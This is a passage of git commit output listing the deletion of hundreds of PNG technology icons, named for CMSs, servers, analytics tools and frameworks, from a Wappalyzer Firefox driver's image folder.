mode 100644 Wappalyzer/drivers/firefox/data/images/icons/GetSimple CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Ghost.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/GitBook.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/GitLab.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/GlassFish.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Glyphicons.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/GoAhead.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/GoStats.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Google AdSense.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Google Analytics.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Google App Engine.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Google Charts.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Google Code Prettify.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Google Font API.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Google Friend Connect.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Google Maps.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Google PageSpeed.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Google Sites.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Google Tag Manager.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Google Wallet.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Google Web Toolkit.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Graffiti CMS.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Grandstream.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Gravatar.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Gravity Insights.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Green Valley CMS.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/HP ChaiServer.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/HP Compact Server.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/HP ProCurve.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/HP System Management.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/HP iLO.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/HP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/HTTP-Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Handlebars.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Happy ICS Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/HeadJS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Hello Bar.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Hiawatha.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Highcharts.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Highstock.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Hippo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Hogan.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Hotaru CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/HubSpot.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Hybris.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/IBM Coremetrics.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/IBM HTTP Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/IBM Tivoli Storage Manager.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/IBM WebSphere Commerce.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/IBM WebSphere Portal.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/IIS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/IPB.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ImpressCMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ImpressPages.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/InProces.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Incapsula.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Indexhibit.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Indico.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Indy.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/InstantCMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Intel Active Management Technology.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/IntenseDebate.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Intercom.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Intershop.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Invenio.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Ionicons.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/JAlbum.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/JBoss Application Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/JBoss Web.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/JC-HTTPD.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/JS Charts.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/JTL Shop.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Jalios.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Java Servlet.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Java.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/JavaServer Faces.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/JavaServer Pages.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Javascript Infovis Toolkit.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Jekyll.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Jenkins.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Jetty.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Jirafe.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Jo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/JobberBase.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Joomla.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/K2.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/KISSmetrics.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/KS_HTTP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Kampyle.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Kendo UI.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Kentico CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/KineticJS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Knockout.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Koa.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Koala Framework.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Koego.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Kohana.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Kolibri CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Komodo CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Koobi.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Kooboo CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/LEPTON.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/LabVIEW.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Laravel.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Leaflet.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Less.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Liferay.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Lift.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/LightMon Engine.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Lightbox.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/LimeSurvey.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/LinkSmart.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/LiteSpeed.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/LiveJournal.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/LiveStreet CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Livefyre.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Lo-dash.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Lockerz Share.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Locomotive.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Lodash.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Logitech Media Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Lotus Domino.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Lua.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/M.R. Inc Webserver.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/M.R. Inc Wild CMS.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/MOBOTIX.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MODx.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Magento.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mambo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MantisBT.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ManyContacts.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Marketo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MathJax.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MaxSite CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MediaElement.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MediaTomb.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MediaWiki.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Meebo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Methode.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Microsoft ASP.NET.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Microsoft HTTPAPI.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Microsoft SharePoint.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MiniBB.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MiniServ.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mint.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mixpanel.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mobify.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MochiKit.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MochiWeb.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Modernizr.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MoinMoin.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mojolicious.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mollom.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Moment Timezone.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Moment.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mondo Media.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MongoDB.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mongrel.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Monkey HTTP Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mono.net.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mono.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MooTools.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Moodle.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Moogo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Motion-httpd.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Movable Type.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Moxa.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mozard Suite.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mura CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mustache.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MyBB.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MyBlogLog.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/MySQL.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Mynetcap.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/NOIX.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/NVD3.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Nedstat.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Nepso.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Netmonitor.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Nette Framework.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/New Relic.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Nginx.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Nokia Maps.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/OXID eShop.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/October CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/OmniTouch 8660 My Teamwork.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/OneStat.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Open AdStream.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Open Journal Systems.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Open Web Analytics.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/OpenCart.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/OpenGSE.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/OpenGrok.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/OpenLayers.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/OpenNemas.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/OpenSSL.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/OpenText Web Solutions.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Ophal.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Optimizely.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Oracle Application Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Oracle Dynamic Monitoring Service.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Oracle HTTP Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Oracle Recommendations On Demand.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Oracle Web Cache.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Outbrain.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Outlook Web App.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/PANSITE.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/PDF.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/PHP-Fusion.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/PHP-Nuke.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/PHP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Pagekit.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Pardot.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Parse.ly.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/PayPal.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/PencilBlue.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Percussion.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/PerfSONAR-PS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Perl.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Petrojs.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Phaser.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Piano Solo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Piwik.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Planet.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Plentymarkets.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Plesk.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Pligg.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Plone.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Plura.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Po.st.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Polymer.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Posterous.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Powergap.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Prefix-Free.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Prestashop.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Project Wonderful.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Prototype.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Protovis.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Pure CSS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Python.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Quantcast.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Quick.CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Quick.Cart.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/RAID HTTPServer.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/RBS Change.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/RCMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/RDoc.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/RackCache.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Raphael.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Rapid Logic.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/React.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ReallyCMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Red Hat.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Reddit.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Redmine.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Reinvigorate.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/RequireJS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Reveal.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/RiteCMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/RoundCube.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Ruby on Rails.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Ruby.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/S.Builder.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SAP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SDL Tridion.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SIMsite.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SMF.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SOBI 2.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SPDY.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SPIP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SQL Buddy.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SQLite.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SUSE.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SWFObject.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Saia PCD.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Sarka-SPIP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Scala.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Schneider Web Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Schneider.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Scientific Linux.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Sencha Touch.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Sentinel Keys Server.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Sentinel License Monitor.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Sentinel Protection Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Seoshop.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Serendipity.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Shadow.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ShareThis.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/ShinyStat.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Shopalize.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Shopatron.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Shopify.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Shopware.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Silva.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SilverStripe.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SimpleHTTP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Site Meter.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SiteCatalyst.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SiteDNK.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SiteEdit.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Sitecore.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Sivuviidakko.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Sizmek.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Skimlinks.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Slimbox 2.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Slimbox.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Smart Ad Server.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SmartSite.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Smartstore.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Snap.svg.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Snoobi.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SobiPro.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Socket.io.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Solodev.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SoundManager.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Sphinx.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SpiderControl iniNet.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Splunk.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Splunkd.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Spree.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Squarespace.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Squiz Matrix.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Starlet.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/StatCounter.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Store Systems.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Stripe.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SublimeVideo.png delete mode 100755 Wappalyzer/drivers/firefox/data/images/icons/Subrion.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/SunOS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Supersized.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Swiftlet.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Synology DiskStation.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TWiki.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TYPO3 CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TYPO3 Flow.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TYPO3 Neos.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TYPO3.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TYPOlight.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Tealeaf.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TeamCity.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Tengine.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Textpattern CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TiddlyWiki.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Tiki Wiki CMS Groupware.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Timeline.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Timeplot.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TinyMCE.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Titan.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TomatoCart.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TornadoServer.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Trac.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TrackJs.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Tumblr.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Twilight CMS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TwistPHP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TwistedWeb.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Twitter Bootstrap.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/TypePad.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Typekit.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/UIKit.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/UNIX.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Ubercart.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Ubuntu.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/UltraCart.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Umbraco.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Underscore.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/UserRules.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/UserVoice.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Ushahidi.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/VIVVO.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/VP-ASP.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Vanilla.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Varnish.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Veoxa.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/VideoJS.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/VigLink.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Vignette.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Vimeo.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Virata EmWeb.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/VirtueMart.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Visual WebGUI.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/VisualPath.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Volusion.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Vox.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/Vue.js.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/W3 Total Cache.png delete mode 100644 Wappalyzer/drivers/firefox/data/images/icons/W3Counter.png delete mode 100644 